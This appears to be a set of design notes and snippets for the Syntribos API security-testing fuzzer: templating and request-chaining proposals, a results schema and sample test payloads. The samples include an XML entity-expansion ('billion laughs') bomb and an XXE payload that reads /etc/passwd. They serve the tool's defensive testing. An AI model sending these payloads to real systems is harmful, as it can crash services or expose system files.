MCDong

This example implementation of templates and request chaining aims to work within our current system of templates and extensions. 2 new types of files are introduced to our templating system to improve our current templates. First, the definitions file, which will cut down on the clutter and ugliness of our templates. Second, the sequence file, which will allow us to support request chaining. For example purposes, these files will be JSON files, but because writing JSON files by hand is tedious, these could be YAML or some other format, if we want.

1. Definitions file

A definition file is a file that essentially outsources most of the markup in our templates, which contributes to their clutter, to a seperate file altogether. This allows us to greatly clean up our template files. External calls will be the primary thing that these definition files support, but they can also be used to markup our templates without actually having to clutter up our templates. For example, if we wanted, type restriction

MCDong

• The current way of embedding extension calls into templates is ugly, but we should explore the possibility of "definition files" so that these calls can look something like

  hypervisor_get.template:

  GET /v2/{tenant_id}/os-hypervisors/{hypervisor_id} HTTP/1.1
  Accept: application/json
  X-Auth-Token: {token}
  

  hypervisor.definitions:

MCDong

GET /v2/CALL_EXTERNAL|syntribos.extensions.identity.client:get_project_id_v3:["user"]|/os-hypervisors/{hypervisor_id:CALL_EXTERNAL|syntribos.extensions.nova.client:get_hypervisor_id:[]|} HTTP/1.1
Accept: application/json
X-Auth-Token: CALL_EXTERNAL|syntribos.extensions.identity.client:get_scoped_token_v3:["user"]|

MCDong

{
  "errors": [],
  "failures": {
    "<URL>": {
      "<TEST_TYPE>": {
        "<METHOD> - <FUZZ_LOCATION>|<FUZZ_PARAM>": {
          "<TEST_TYPE>": {
            "confidence": "x",
            "description": "x",
            "payloads": ["x", ...],

MCDong

{"user":
	{"username": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!",
	"password": "pass11"}
}

MCDong

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
    <!ENTITY xxe "AAAAAAAAAAAAAAAAAAAA">
    <!ENTITY xxe2 "&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;&xxe;">
    <!ENTITY xxe3 "&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;&xxe2;">
    <!ENTITY xxe4 "&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;&xxe3;">
    <!ENTITY xxe5 "&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;&xxe4;">
    <!ENTITY xxe6 "&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;&xxe5;">
    <!ENTITY xxe7 "&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;&xxe6;">
    <!ENTITY xxe8 "&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;&xxe7;">

MCDong

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "/etc/passwd">]>
<auth>
    <passwordCredentials>
        <username>&xxe;</username>
        <password>pass1</password>
    </passwordCredentials>
</auth>